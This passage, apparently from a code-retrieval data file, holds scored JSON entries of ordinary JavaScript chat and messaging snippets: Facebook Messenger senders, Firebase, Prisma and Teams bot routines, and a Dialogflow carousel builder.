};\n this.setState({\n messages: [...this.state.messages, iframeSays]\n });\n }\n\n this.scrollToBottom(); // this.refreshConversations();\n } else if (data.Message.Message_data.MESSAGE && data.Message.Message_data.MESSAGE[\"BODYTYPE\"] == \"LIST\") {\n if (data.MESSAGE.BODY.length == 0) {\n //if no record in tableData let Defaultsayss = {\n var emplyTable = {\n speaks: \"bot\",\n msg: {\n text: {\n text: \"No records abailable\"\n }\n }\n };\n\n if (data.MESSAGE.IFRAME == \"\") {\n this.setState({\n messages: [...this.state.messages, emplyTable]\n });\n }\n }\n\n if (data.MESSAGE.IFRAME && data.MESSAGE.IFRAME != \"\") {\n var _iframeSays = {\n speaks: \"bot\",\n url: data.MESSAGE.IFRAME,\n type: \"iframe\"\n };\n this.setState({\n messages: [...this.state.messages, _iframeSays]\n });\n }\n } else if (data.Message.Message_data.ERRORMSG && data.Message.Message_data.ERRORCODE) {\n var userQuery = {\n speaks: \"bot\",\n msg: {\n text: {\n text: data.Message.Message_data.ERRORMSG\n },\n url: \"\",\n tableItems: []\n },\n from: data.Message.from,\n reply_to: data.Message.reply_to\n };\n this.setState({\n messages: [...this.state.messages, userQuery]\n });\n } else if (data.Message.Message_data && data.Message.Message_data.type == \"image_attachement\") {\n var _userQuery = {\n speaks: data.Message.from == this.props.conversationData.from_participant_id ? \"me\" : \"bot\",\n msg: {\n images: data.Message.Message_data.data,\n file_path: data.Message.Message_data.file_path,\n tableItems: []\n },\n is_notification: data.group_type == \"Notifier\",\n conversation_id: data.conversation_id,\n from: data.Message.from\n };\n this.setState({\n messages: [...this.state.messages, _userQuery]\n });\n this.scrollToBottom(); // this.refreshConversations();\n } else if (data.Message.Message_data && data.Message.Message_data.type == \"file_attachement\") {\n var _userQuery2 = {\n speaks: data.Message.from == this.props.conversationData.from_participant_id ? \"me\" : \"bot\",\n msg: {\n files: data.Message.Message_data.data,\n url: \"\",\n file_path: data.Message.Message_data.file_path,\n tableItems: []\n },\n is_notification: data.group_type == \"Notifier\",\n conversation_id: data.conversation_id,\n from: data.Message.from\n };\n this.setState({\n messages: [...this.state.messages, _userQuery2]\n });\n this.scrollToBottom(); // this.refreshConversations();\n } else {\n var _userQuery3 = {\n speaks: data.Message.from == this.props.conversationData.from_participant_id ? \"me\" : \"bot\",\n msg: {\n text: {\n text: data.Message.Message_data.text\n },\n url: \"\",\n tableItems: []\n },\n from: data.Message.from,\n is_notification: data.group_type == \"Notifier\",\n conversation_id: data.conversation_id\n };\n this.setState({\n messages: [...this.state.messages, _userQuery3]\n });\n this.scrollToBottom(); // this.refreshConversations();\n }\n }", "title": "" }, { "docid": "0ea9043e448fa68d3aa8551b56048456", "score": "0.48583502", "text": "function sendMessage(recipientId, message) {\n request({\n url: \"https://graph.facebook.com/v2.6/me/messages\",\n qs: {access_token: process.env.PAGE_ACCESS_TOKEN},\n method: \"POST\",\n json: {\n recipient: {id: recipientId},\n message: message,\n }\n }, function(error, response, body) {\n if (error) {\n console.log(\"Error sending message: \" + response.error);\n }\n });\n}", "title": "" }, { "docid": "0ea9043e448fa68d3aa8551b56048456", "score": "0.48583502", "text": "function sendMessage(recipientId, message) {\n request({\n url: \"https://graph.facebook.com/v2.6/me/messages\",\n qs: {access_token: process.env.PAGE_ACCESS_TOKEN},\n method: \"POST\",\n json: {\n recipient: {id: recipientId},\n message: message,\n }\n }, function(error, response, body) {\n if (error) {\n console.log(\"Error sending message: \" + response.error);\n }\n });\n}", "title": "" }, { "docid": "0ea9043e448fa68d3aa8551b56048456", "score": "0.48583502", "text": "function sendMessage(recipientId, message) {\n request({\n url: \"https://graph.facebook.com/v2.6/me/messages\",\n qs: {access_token: process.env.PAGE_ACCESS_TOKEN},\n method: \"POST\",\n json: {\n recipient: {id: recipientId},\n message: message,\n }\n }, function(error, response, body) {\n if (error) {\n console.log(\"Error sending message: \" + response.error);\n }\n });\n}", "title": "" }, { "docid": "446f9d651a8dcee69a85de1c5d1c3ca3", "score": "0.485544", "text": "getMessages(context, conversation) {\n return axios\n .get(\"/api/message?contact_id=\" + conversation.contact_id)\n .then(response => {\n context.commit('selectConversation', conversation);\n context.commit(\"newMessageList\", response.data);\n })\n .catch(error => console.log(error));\n }", "title": "" }, { "docid": "10e620ab10f186b32719643b09e58896", "score": "0.4851587", "text": "function sendMessage(recipientId, message) {\n request({\n url: 'https://graph.facebook.com/v2.6/me/messages',\n qs: {access_token: PAGE_ACCESS_TOKEN},\n method: 'POST',\n json: {\n recipient: {id: recipientId},\n message: message,\n }\n }, function(error, response, body) {\n if (error) {\n console.log('Error sending message: ', error);\n } else if (response.body.error) {\n console.log('Error: ', response.body.error);\n }\n });\n}", "title": "" }, { "docid": "482ce120da188172c0e6cc343e308ca5", "score": "0.48394278", "text": "function initConversation() {\n postConversationMessage('');\n }", "title": "" }, { "docid": "4c95a62ed26b550a14f0b11201b776bc", "score": "0.4824228", "text": "function sendMessage(recipientId, message) {\n request({\n url: 'https://graph.facebook.com/v2.6/me/messages',\n qs: {access_token: process.env.PAGE_ACCESS_TOKEN},\n method: 'POST',\n json: {\n recipient: {id: recipientId},\n message: message,\n }\n }, function(error, response, body) {\n if (error) {\n console.log('Error sending message: ', error);\n } else if (response.body.error) {\n console.log('Error: ', response.body.error);\n }\n });\n}", "title": "" }, { "docid": "4c95a62ed26b550a14f0b11201b776bc", "score": "0.4824228", "text": "function sendMessage(recipientId, message) {\n request({\n url: 'https://graph.facebook.com/v2.6/me/messages',\n qs: {access_token: process.env.PAGE_ACCESS_TOKEN},\n method: 'POST',\n json: {\n recipient: {id: recipientId},\n message: message,\n }\n }, function(error, response, body) {\n if (error) {\n console.log('Error sending message: ', error);\n } else if (response.body.error) {\n console.log('Error: ', response.body.error);\n }\n });\n}", "title": "" }, { "docid": "398abfcf97c3927ddfd3083b4fb691c5", "score": "0.4817961", "text": "function sendMessage(recipientId, message) {\n request({\n url: 'https://graph.facebook.com/v2.6/me/messages',\n qs: {access_token: process.env.PAGE_ACCESS_TOKEN},\n method: 'POST',\n json: {\n recipient: {id: recipientId},\n message: message\n }\n }, (error, response, body) => {\n if (error) {\n console.log(`Error sending message: ${response.error}`);\n }\n });\n}", "title": "" }, { "docid": "32db00ce9492435d0468e50d58c5592e", "score": "0.48102647", "text": "function initConversation() {\n postConversationMessage('');\n }", "title": "" }, { "docid": "bdf8f13328dea867f9ef218883c64d6d", "score": "0.4789938", "text": "function newMessage(template,message){\n if(template === 'partner'){\n partnerIsTyping();\n setTimeout(appendMessage, 1000)\n }\n else{\n appendMessage();\n }\n // generates message HTML from appropriate template, stored in DOM\n function appendMessage(){\n $('.chat-window-timeline .chat-partner-typing').remove();\n template = '.template-chat-' + template;\n var data = {\n message: message\n }\n var templateHTML = $('.templates').find(template).html();\n var renderedHTML = Mustache.to_html(templateHTML, data);\n // append message and scroll to bottom of timeline\n $timeline.append(renderedHTML).scrollTop($timeline[0].scrollHeight);\n }\n}", "title": "" }, { "docid": "f73e7223ee751dbf005f32907fa755df", "score": "0.4766811", "text": "function Post(txt){\n\t\t\tT.post('direct_messages/new',{user_id: user_ID, screen_name: screenName, text: txt}, function(err, data, response){\n\t\t\t\tif(!err){\n\t\t\t\t\tconsole.log(\"Posted\");\n\t\t\t\t}\n\t\t\t})\t\n\t\t}", "title": "" }, { "docid": "d964daabd9b96509b662314278038b4b", "score": "0.4741384", "text": "sendMessage() {\n this.navCtrl.push(__WEBPACK_IMPORTED_MODULE_5__message_message__[\"a\" /* MessagePage */], { userId: this.userId });\n }", "title": "" }, { "docid": "871b9dcbb0e4720f4d34e2bc4e7993ec", "score": "0.473718", "text": "send() {\n if (this.message) {\n // User entered a text on messagebox\n // get from param\n console.log(\"msg idc\", this.idConversation);\n if (this.idConversation) {\n // Add Message to the existing conversation\n // Clone an instance of messages object so it will not directly be updated.\n // The messages object should be updated by our observer declared on ionViewDidLoad.\n let messages = JSON.parse(JSON.stringify(this.messages));\n messages.push({\n date: new Date().toString(),\n sender: __WEBPACK_IMPORTED_MODULE_7_firebase__[\"auth\"]().currentUser.uid,\n receiver: this.psgId,\n type: \"text\",\n message: this.message\n });\n // Update conversation on database.\n console.log(\"msg ar\", messages);\n this.dataProvider.updateConversation(this.idConversation).update({\n messages: messages\n });\n // Clear messagebox.\n this.message = \"\";\n }\n else {\n // New Conversation with friend.\n var messages = [];\n messages.push({\n date: new Date().toString(),\n sender: __WEBPACK_IMPORTED_MODULE_7_firebase__[\"auth\"]().currentUser.uid,\n receiver: this.psgId,\n type: \"text\",\n message: this.message\n });\n // Add conversation.\n this.angularfireDatabase\n .list(\"conversations\" + this.idConversation)\n .push({\n dateCreated: new Date().toString(),\n messages: messages,\n })\n .then(success => {\n let conversationId = success;\n this.message = \"\";\n // Add conversation reference to the users.\n this.angularfireDatabase.object(\"/users/\" + __WEBPACK_IMPORTED_MODULE_7_firebase__[\"auth\"]().currentUser.uid + \"/conversations/\" + this.userId).update({\n conversationId: conversationId,\n messagesRead: 1\n });\n this.angularfireDatabase.object(\"/psg/\" + this.userId + \"/conversations/\" + __WEBPACK_IMPORTED_MODULE_7_firebase__[\"auth\"]().currentUser.uid).update({\n conversationId: conversationId,\n messagesRead: 0\n });\n });\n }\n }\n }", "title": "" }, { "docid": "73a2bf4ec9f766ce19ccc1397f2ec11b", "score": "0.47323963", "text": "onOpenConversation(conv) {\n this.conversation = conv\n this.finding_recipient = false\n }", "title": "" }, { "docid": "58526b209528f16ac38bb7809be7b72b", "score": "0.47278672", "text": "function sendMessage(recipientId, message) {\n\trequest({\n\t\turl: \"https://graph.facebook.com/v2.10/me/messages\",\n\t\tqs: { access_token: config.chatbot.pageAccessToken },\n\t\tmethod: \"POST\",\n\t\tjson: {\n\t\t\trecipient: { id: recipientId },\n\t\t\tmessage: message,\n\t\t}\n\t}, function (error, response, body) {\n\t\tif (error) {\n\t\t\tconsole.error(\"Error sending message\", error);\n\t\t} else {\n\t\t\tconsole.log(response);\n\t\t}\n\t});\n}", "title": "" }, { "docid": "2c942547582c6a3864aaf2d66c013287", "score": "0.47147268", "text": "function sendMessage() {\n // Create a new message object\n var message = {\n content: vm.messageText,\n created: Date.now()\n };\n\n message = new MessagesService(message);\n message.$update({ roomName: Chat.roomName }, function (message) {\n // Emit a 'chatMessage' message event\n Socket.emit('sendChat', { message: message });\n vm.messages.unshift(message);\n // Clear the message text\n vm.messageText = '';\n }, function (res) {\n vm.messageText = res.data.message;\n });\n }", "title": "" }, { "docid": "04246cbf5db1a7273e8b05cd6170d485", "score": "0.47115394", "text": "function createChat(_parent, args, context){\n \n const userId = getUserId(context)\n\n const res = context.prisma.createChat({\n participants: {\n connect: [\n {id: args.participants},\n {id: userId}\n ]\n }\n })\n context.pubsub.publish(\"NEW_CHAT\", res)\n\n return res\n}", "title": "" }, { "docid": "523a514300b779ff1d9920b5fa9a292c", "score": "0.47005466", "text": "function doSentMessages() {\r\n\tdoMessagesComm();\r\n\treplaceLinkByHref({\r\n\t\t\"inboxMessages.html\":[\"Inbox messages\",\"Mensagens de entrada\"],\r\n\t\t\"composeMessage.html\":[\"Compose Message\",\"Escrever mensagem\"]\r\n\t});\r\n}", "title": "" }, { "docid": "6042eec2a4c5816d3447b1125ed944b7", "score": "0.469552", "text": "function NewConversation() {\n\n return (\n <>\n <Grid container>\n <Grid item md = {12} xs = {12} sm = {12} style = {{color : \"#6d6d6d\" , marginTop : \"100px\"}}>\n <h1>No contacts to show</h1>\n <h1>Please Add Contacts !!!</h1>\n </Grid>\n </Grid>\n </>\n );\n }", "title": "" }, { "docid": "5e77133b67df5ebc10bc4d3a910855ee", "score": "0.46941978", "text": "async messageAllMembersAsync(context) {\n //const members1 = await TeamsInfo.getMembers(context);\n\n \n\n var members1 = [\n {\n \"id\":\"29:1HNLPvemCsFL99qYSRopKC1pdDHxQYKSYDFniMi0eGMeqAE-O3UZHjkph7hd1gzpChwVqdHbULufOpB1IICQDAw\",\n \"name\":\"dennis lee\",\n \"objectId\":\"d22605da-53e5-44d6-bc96-adf79c20853a\",\n \"givenName\":\"lee\",\n \"surname\":\"dennis\",\n \"email\":\"[email protected]\",\n \"userPrincipalName\":\"[email protected]\",\n \"tenantId\":\"6185a5f1-1b6d-4634-851d-001f1446f259\",\n \"aadObjectId\":\"d22605da-53e5-44d6-bc96-adf79c20853a\"\n }];\n \n members1.forEach(async (teamMember) => {\n const message = MessageFactory.text(`Hello ${ teamMember.givenName } ${ teamMember.surname }. I'm a Teams conversation bot.`);\n\n var ref = TurnContext.getConversationReference(context.activity);\n ref.user = teamMember;\n\n await context.adapter.createConversation(ref,\n async (t1) => {\n const ref2 = TurnContext.getConversationReference(t1.activity);\n await t1.adapter.continueConversation(ref2, async (t2) => {\n await t2.sendActivity(message);\n });\n });\n });\n\n // var teamConversationData = turnContext.Activity.GetChannelData();\n // var connectorClient = new ConnectorClient(new Uri(activity.ServiceUrl), _credentialProvider.AppId, _credentialProvider.Password);\n\n // var userId = \"<UserIdToSendTo>\";\n // var tenantId = teamConversationData.Tenant.Id;\n // var parameters = new ConversationParameters\n // {\n // Members = new[] { new ChannelAccount(userId) },\n // ChannelData = new TeamsChannelData\n // {\n // Tenant = new TenantInfo(tenantId),\n // },\n // };\n\n // var conversationResource = await connectorClient.Conversations.CreateConversationAsync(parameters);\n // var message = Activity.CreateMessageActivity();\n // message.Text = \"This is a proactive message.\";\n // await connectorClient.Conversations.SendToConversationAsync(conversationResource.Id, (Activity)message);\n\n // await context.sendActivity(MessageFactory.text('All messages have been sent.'+JSON.stringify(TeamsInfo)));\n console.log(members1)\n // await context.sendActivity('All messages have been sent.');\n await context.sendActivity(members1[0].id);\n }", "title": "" }, { "docid": "4262e010aaee409afabd1caa80f43dfe", "score": "0.4666478", "text": "static async findOrCreateConversation (channelId, chatId) {\n let conversation = await Conversation.findOne({ channel: channelId, chatId })\n .populate('channel bot participants messages').exec()\n if (conversation && conversation.isActive) { return conversation }\n\n const channel = await Channel.findById(channelId).populate('bot').exec()\n if (!channel) { throw new notFoundError('Channel') }\n if (!channel.isActivated) { throw new DisableError('Channel') }\n const { bot } = channel\n if (!bot) { throw new notFoundError('Bot') }\n\n conversation = await new Conversation({ bot, chatId, channel }).save()\n bot.conversations.push(conversation._id)\n await bot.save()\n\n return conversation\n }", "title": "" }, { "docid": "0dcb8d8990e13a002e42621412346ba8", "score": "0.465363", "text": "function createMessage(_parent, args, context){\n\n const userId = getUserId(context)\n\n const res = context.prisma.createMessage({\n text: args.text,\n chatId: {\n connect: {id: args.chatId}\n },\n \n user: {\n connect: {id: userId}\n }\n })\n context.pubsub.publish(\"NEW_MESSAGE\", res)\n\n return res\n}", "title": "" }, { "docid": "1e856d29452446466627f76fba932131", "score": "0.4631814", "text": "async function sendTranslatedMessage() {\n let originalMessage = document.getElementById(\"messageInput\").value;\n if (originalMessage) {\n let messages_arr = originalMessage.split(\"\\n\")\n let option = document.getElementById('languageChoice').value;\n if (!(option in memoriesDict)) {\n handleError(\"No Option Selected\");\n return;\n }\n let reverseOptionArr = option.split(\" to \"); \n let reverseOption = reverseOptionArr[1] + \" to \" + reverseOptionArr[0];\n let translateInfo = memoriesDict[reverseOption];\n\n let translatedMessages = await translateAllMessages(messages_arr, translateInfo[0], translateInfo[1], translateInfo[2]);\n let finalMessage = \"\"\n for (let index = 0; index < translatedMessages.length; index++) {\n finalMessage = finalMessage.concat(translatedMessages[index]);\n finalMessage = finalMessage.concat(\"\\n\");\n }\n if (originalMessageID && frontContext) {\n const draft = await frontContext.createDraft({\n content: {\n body: finalMessage,\n type: 'text'\n },\n replyOptions: {\n type: 'reply',\n originalMessageId: originalMessageID\n }\n });\n\n let instantTranslationTagID = await getInstantTranslationTagID();\n if (instantTranslationTagID) {\n await frontContext.tag([instantTranslationTagID], undefined);\n }\n } else {\n handleError(\"No Conversation Selected\");\n }\n } else {\n handleError(\"No message entered\");\n }\n}", "title": "" }, { "docid": "3686425a1f6e3c5ea0e36648471b942e", "score": "0.46020928", "text": "threadCreated(thread) {\n\t\tconst { history, dispatch } = this.props\n\t\tthis.setState({thread_id: thread.id})\n\t\thistory.push(`/messages/?thread=${thread.id}`)\n\t\tthis.props.threadCreated(thread);\n\t}", "title": "" }, { "docid": "213e865b943523ad9087dbef60965de3", "score": "0.45887315", "text": "afterCreate(conversation, server) {\n if (!conversation.user) {\n conversation.user = server.create('user');\n conversation.save();\n }\n\n if (!conversation.message) {\n conversation.message = server.create('message');\n conversation.save();\n }\n }", "title": "" }, { "docid": "886ebf651bb75bff46ccff85fa365033", "score": "0.4582455", "text": "function sendMessage(recipientId, message) {\n return new Promise(resolve => {\n resolve(\n request(\n {\n url: 'https://graph.facebook.com/v2.6/me/messages',\n qs: { access_token: process.env.PAGE_ACCESS_TOKEN },\n method: 'POST',\n json: {\n recipient: { id: recipientId },\n message: message,\n },\n },\n (error, response, body) => {\n if (error) {\n console.log('Error sending message: ' + response.error);\n }\n }\n )\n );\n });\n}", "title": "" }, { "docid": "24df70dcb3cfc20d91529c3bd2ca869c", "score": "0.45687154", "text": "function ConversationCtrl($scope) {\n $scope.disconnected = true\n\n $scope.message = ''\n\n $('.conversation .messages').on('scroll', function(e) {\n if (this.scrollHeight - this.scrollTop === this.clientHeight) {\n window.location.hash = 'follow'\n } else {\n window.location.hash = ''\n }\n })\n\n function connect() {\n var ws = new WebSocket('ws://'+window.location.host.replace(/:\\d+/, '')+':8888/conversations/' + $scope.conversation.slug)\n\n ws.onopen = function(e) {\n $scope.$apply(function() {\n $scope.disconnected = false\n console.log('CONNECTED SUCCESSFULLY')\n })\n }\n\n ws.onclose = function(e) {\n $scope.$apply(function() {\n $scope.disconnected = true\n console.log('DISCONNECTED')\n setTimeout(connect, 5000)\n })\n }\n\n ws.onmessage = function(e) {\n $scope.$apply(function() {\n $scope.messages.push(JSON.parse(e.data))\n console.log('MESSAGE: ', e.data)\n })\n\n if (window.location.hash === '#follow') {\n $('.conversation .messages').scrollTop(1000000)\n }\n }\n\n $scope._ws = ws\n }\n\n $scope.isMine = function(message) {\n if (message.author.id == $scope.currentUser.id) return 'mine'\n }\n\n $scope.messageType = function(message, previous) {\n // merge messages from one author\n if (previous) {\n var before = moment(previous.created_at),\n after = moment(message.created_at)\n\n if (before.dayOfYear() != after.dayOfYear()) return 'separated'\n\n if (message.author.id == previous.author.id) return 'merged'\n } else {\n return 'separated'\n }\n }\n\n $scope.daySeparator = function(message, previous) {\n // separate messages written in different days\n if (previous) {\n var before = moment(previous.created_at),\n after = moment(message.created_at)\n\n if (before.dayOfYear() != after.dayOfYear()) {\n return message.created_at\n }\n } else {\n return message.created_at\n }\n }\n\n $scope.addMessage = function() {\n if ($scope.message.text) {\n $scope._ws.send(JSON.stringify({text: $scope.message.text}))\n $scope.message.text = ''\n }\n }\n\n // postpone connection establishment while initialisation finished\n setTimeout(connect, 0)\n}", "title": "" }, { "docid": "c442e11798dd071f4b3c58c866ffd8d1", "score": "0.45585546", "text": "onComposeNewMessage() {\n this.conversation = false\n this.finding_recipient = true\n }", "title": "" }, { "docid": "591d6ecd3310086f8fc77ddd0d19ba14", "score": "0.45460913", "text": "function sendMessage(recipientId, message) {\n\n console.log(\"done 1\");\n request({\n url: 'https://graph.facebook.com/v2.6/me/messages',\n //qs: {access_token: process.env.PAGE_ACCESS_TOKEN},\n qs: { fields: \"first_name,last_name,profile_pic,locale,timezone,gender\", access_token: USER_ACCESS_TOKEN },\n method: 'POST',\n json: {\n recipient: { id: recipientId },\n message: message,\n }\n }, function (error, response, body) {\n\n // console.log(response);\n console.log(\"done 2\");\n if (error) {\n\n console.log(\"done 3\");\n console.log('Error sending message: ', error);\n }\n });\n}", "title": "" }, { "docid": "f67672b46745a77a5b0231123a347ea8", "score": "0.4541384", "text": "function createFirstBotMessage(){\n\tvar chat = document.querySelector(\"#chat_container\");\n\tvar div = createDiv(\"Olá, meu nome é LevelAI! Estou aqui para te ajudar a resolver suas dúvidas\", \"bot\");\n\tchat.appendChild(div);\n\tscrollDivDown(chat);\n}", "title": "" }, { "docid": "f8c2574b39fbd816fa77d58a549b8d35", "score": "0.45222896", "text": "function sendMessage(cloudId, conversationId, messageBody, callback) {\n getAccessToken(function (err, accessToken) {\n if (err) {\n callback(err);\n } else {\n var uri = API_BASE_URL + '/site/' + cloudId + '/conversation/' + conversationId + '/message';\n var options = {\n uri: uri,\n method: 'POST',\n headers: {\n authorization: \"Bearer \" + accessToken,\n \"cache-control\": \"no-cache\"\n },\n json: {\n body: messageBody\n }\n }\n\n request(options, function (err, response, body) {\n callback(err, body);\n });\n }\n });\n }", "title": "" }, { "docid": "ee3dcd5365f0b56718f146ceb010d781", "score": "0.45149058", "text": "function sendText () {\n for (const contact in contact_directory) {\n client.messages.create({\n to: contact_directory[contact],\n from: '+12015542208',\n body: inspiring_texts[date.getHours()]\n })\n .then((message) => console.log(message, message.sid))\n }\n}", "title": "" }, { "docid": "5267cbc63fede90d8d76782e1d2dee39", "score": "0.4509204", "text": "function doSentMessages() {\r\n\tdoMessagesComm();\r\n\treplaceLinkByHref({\r\n\t\"inboxMessages.html\":[\"Inbox messages\",\"Gautos žinutės\"],\r\n\t\"composeMessage.html\":[\"Compose Message\",\"Kurti žinutę\"]\r\n\t});\r\n}", "title": "" }, { "docid": "5f97630acf848eba582fb8553c792afa", "score": "0.45013902", "text": "sendMessage(e){\n e.preventDefault()\n let msg = e.target.msg.value\n let users = this.state.users\n check(msg, String)\n check(users, Array)\n if(users.length > 0){\n //create conversation\n let converstation = new Conversation().save()\n\n //add participants\n users.forEach((user) => {\n converstation.addParticipant(user)\n })\n\n //sanitize\n msg = sanitizeHtml(msg)\n if(msg.length > 0){\n //send the message\n converstation.sendMessage(msg)\n\n Materialize.toast(\"Converstaion created!\", 3000)\n\n //close modal or redirect to the conversation\n $('#newConversation').closeModal()\n } else {\n Materialize.toast(\"You should really say something...\", 5000)\n }\n } else {\n Materialize.toast(\"You need to add at least one other user!\", 5000)\n }\n }", "title": "" }, { "docid": "8f654c366d1e4e9442e56205e8a8badb", "score": "0.4492666", "text": "function sendMessage(event){\n\tlet sender = event.sender.id;\n\tlet text = event.message.text;\n\t// if (!sessionId.has(sender)) {\n\t// \tsessionId.set(sender, uuid.v1());\n\t// }\n\tlet apiai= dflow.textRequest(text,{\n\t\tsessionId:\"dev_app\"\n\t});\n\tapiai.on('response',(response)=>{\n\t\t//logic for getting a response from dialogflow\n\t\tconsole.log(response.result);\n\t\tvar currentLocation,distance = Number.MAX_VALUE,shortestCity,distanceArr={};\n\t\tlet aitext = response.result.fulfillment.speech;\n\t\t//for information and carousel message\n\t\tif(response.result.action === 'INFO'){\n\t\t\t\n\t\t\tvar posts={};\n\t\t\tgraph.setAccessToken(keys.PAGE_GRAPH_TOKEN);\n\t\t\t\n\t\t\t\n\t\t\t\tif(response.result.parameters['geo-city'] !== '' && response.result.parameters['geo-city'] !== undefined){\n\t\t\t\t\t\t\tlet infoCity = response.result.parameters['geo-city'];\n\t\t\t\t\t\t\tlet profile = data[infoCity];\n\t\t\t\t\t\t\tlet groupId = profile['id'];\n\t\t\t\t\t\t\tlet requestURL = 'https://graph.facebook.com/v2.10/'+groupId+'/feed';\n\t\t\t\t\t\t\tgraph.get(requestURL, function(err, res) {\n\t\t\t\t\t\t\t\tif(err){\n\t\t\t\t\t\t\t\t\trequest({\n\t\t\t\t\t\t\t\t\t url: 'https://graph.facebook.com/v2.10/me/messages',\n\t\t\t\t\t\t\t\t\t qs: {access_token: keys.PAGE_ACCESS_TOKEN},\n\t\t\t\t\t\t\t\t\t method: 'POST',\n\t\t\t\t\t\t\t\t\t json: {\n\t\t\t\t\t\t\t\t\t recipient: {id: sender},\n\t\t\t\t\t\t\t\t\t message: {text: 'The city either has a private group, in which case, kindly join it, or there might not be a developer circle in the city. Please Enter your city name to find the nearest developer circle or apply for a new one in your city.'}\n\t\t\t\t\t\t\t\t\t }\n\t\t\t\t\t\t\t\t\t }, (error, response) => {\n\t\t\t\t\t\t\t\t\t if (error) {\n\t\t\t\t\t\t\t\t\t console.log('Error sending message: ', error);\n\t\t\t\t\t\t\t\t\t } else if (response.body.error) {\n\t\t\t\t\t\t\t\t\t console.log('Error: ', response.body.error);\n\t\t\t\t\t\t\t\t\t }\n\t\t\t\t\t\t\t\t\t });\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\telse{\n\t\t\t\t\t\t\t\t\tposts = res;\n\t\t\t\t\t\t\t\t\t//making the carousel message\n\t\t\t\t\t\t\t\t\t//taking care of message format\n\n\t\t\t\t\t\t\t\t\tfor(var i =0; i<=2 ; i++){\n\t\t\t\t\t\t\t\t\t\tif(posts.data[i]['story'] === undefined || posts.data[i]['message'] === undefined){\n\t\t\t\t\t\t\t\t\t\t\tif(posts.data[i]['story'] === undefined){\n\t\t\t\t\t\t\t\t\t\t\t\t//send title as story and empty string as message\n\t\t\t\t\t\t\t\t\t\t\t\tposts.data[i]['story'] = posts.data[i]['message'];\n\t\t\t\t\t\t\t\t\t\t\t\tposts.data[i]['message'] = \"Facebook developer Circle\";\n\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\telse{\n\t\t\t\t\t\t\t\t\t\t\t\t//send title as message and empty string as story\n\t\t\t\t\t\t\t\t\t\t\t\tposts.data[i]['message'] = \"Facebook developer Circle\";\n\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t}\n\n\n\t\t\t\t\t\t\t\t\trequest({\n\t\t\t\t\t\t\t\t\t url: 'https://graph.facebook.com/v2.10/me/messages',\n\t\t\t\t\t\t\t\t\t qs: {access_token: keys.PAGE_ACCESS_TOKEN},\n\t\t\t\t\t\t\t\t\t method: 'POST',\n\t\t\t\t\t\t\t\t\t json: {\n\t\t\t\t\t\t\t\t\t \"recipient\":{\n\t\t\t\t\t\t\t\t\t\t\t \"id\":sender\n\t\t\t\t\t\t\t\t\t\t\t },\n\t\t\t\t\t\t\t\t\t\t\t \"message\":{\n\t\t\t\t\t\t\t\t\t\t\t \"attachment\":{\n\t\t\t\t\t\t\t\t\t\t\t \"type\":\"template\",\n\t\t\t\t\t\t\t\t\t\t\t \"payload\":{\n\t\t\t\t\t\t\t\t\t\t\t \"template_type\":\"generic\",\n\t\t\t\t\t\t\t\t\t\t\t \"elements\":[\n\t\t\t\t\t\t\t\t\t\t\t {\n\t\t\t\t\t\t\t\t\t\t\t \"title\":posts.data[0]['story'],\n\t\t\t\t\t\t\t\t\t\t\t \"image_url\":\"https://static.xx.fbcdn.net/rsrc.php/v3/yV/r/BhqIEprNoBN.png\",\n\t\t\t\t\t\t\t\t\t\t\t \"subtitle\":posts.data[0]['message'],\n\t\t\t\t\t\t\t\t\t\t\t \"buttons\":[\n\t\t\t\t\t\t\t\t\t\t\t {\n\t\t\t\t\t\t\t\t\t\t\t \"type\":\"web_url\",\n\t\t\t\t\t\t\t\t\t\t\t \"url\":profile['link'],\n\t\t\t\t\t\t\t\t\t\t\t \"title\":\"Visit circle\"\n\t\t\t\t\t\t\t\t\t\t\t } \n\t\t\t\t\t\t\t\t\t\t\t ] \n\t\t\t\t\t\t\t\t\t\t\t },\n\t\t\t\t\t\t\t\t\t\t\t {\n\t\t\t\t\t\t\t\t\t\t\t \"title\":posts.data[1]['story'],\n\t\t\t\t\t\t\t\t\t\t\t \"image_url\":\"https://static.xx.fbcdn.net/rsrc.php/v3/yV/r/BhqIEprNoBN.png\",\n\t\t\t\t\t\t\t\t\t\t\t \"subtitle\":posts.data[1]['message'],\n\t\t\t\t\t\t\t\t\t\t\t \"buttons\":[\n\t\t\t\t\t\t\t\t\t\t\t {\n\t\t\t\t\t\t\t\t\t\t\t \"type\":\"web_url\",\n\t\t\t\t\t\t\t\t\t\t\t \"url\":profile['link'],\n\t\t\t\t\t\t\t\t\t\t\t \"title\":\"Visit circle\"\n\t\t\t\t\t\t\t\t\t\t\t } \n\t\t\t\t\t\t\t\t\t\t\t ] \n\t\t\t\t\t\t\t\t\t\t\t },\n\t\t\t\t\t\t\t\t\t\t\t {\n\t\t\t\t\t\t\t\t\t\t\t \"title\":posts.data[2]['story'],\n\t\t\t\t\t\t\t\t\t\t\t \"image_url\":\"https://static.xx.fbcdn.net/rsrc.php/v3/yV/r/BhqIEprNoBN.png\",\n\t\t\t\t\t\t\t\t\t\t\t \"subtitle\":posts.data[2]['message'],\n\t\t\t\t\t\t\t\t\t\t\t \"buttons\":[\n\t\t\t\t\t\t\t\t\t\t\t {\n\t\t\t\t\t\t\t\t\t\t\t \"type\":\"web_url\",\n\t\t\t\t\t\t\t\t\t\t\t \"url\":profile['link'],\n\t\t\t\t\t\t\t\t\t\t\t \"title\":\"Visit circle\"\n\t\t\t\t\t\t\t\t\t\t\t } \n\t\t\t\t\t\t\t\t\t\t\t ] \n\t\t\t\t\t\t\t\t\t\t\t }\n\t\t\t\t\t\t\t\t\t\t\t ]\n\t\t\t\t\t\t\t\t\t\t\t }\n\t\t\t\t\t\t\t\t\t\t\t }\n\t\t\t\t\t\t\t\t\t\t\t }\n\t\t\t\t\t\t\t\t\t }\n\t\t\t\t\t\t\t\t\t }, (error, response) => {\n\t\t\t\t\t\t\t\t\t if (error) {\n\t\t\t\t\t\t\t\t\t console.log('Error sending message: ', error);\n\t\t\t\t\t\t\t\t\t } else if (response.body.error) {\n\t\t\t\t\t\t\t\t\t console.log('Error: ', response.body.error);\n\t\t\t\t\t\t\t\t\t }\n\t\t\t\t\t\t\t\t\t });\n\n\t\t\t\t\t\t\t\t}\n\t\t\t 